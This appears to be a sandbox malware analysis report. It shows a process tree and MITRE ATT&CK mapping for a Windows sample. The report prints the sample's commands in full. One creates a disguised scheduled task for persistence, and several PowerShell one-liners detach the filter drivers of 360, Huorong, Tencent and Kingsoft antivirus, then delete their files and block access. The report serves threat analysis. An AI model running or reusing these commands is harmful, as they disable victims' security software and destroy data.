        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1480
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c echo.>c:\inst.ini
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3176
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c echo.>c:\inst.ini
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4848
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c schtasks.exe /create /tn "Windows Audio Endpoint Builder(ÏµÍ³ÒôÆµ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3984
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "Windows Audio Endpoint Builder(ÏµÍ³ÒôÆµ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'ÌÚÑ¶µçÄÔ¹Ü¼Ò' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString.Replace([string][char]34,''))} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach TFsFlt $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '»ðÈÞ' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString)} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach sysdiag $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '½ðÉ½¶¾°Ô' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString.Replace([string][char]34,''))} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach kisknl $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1004

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Query Registry

T1012

System Information Discovery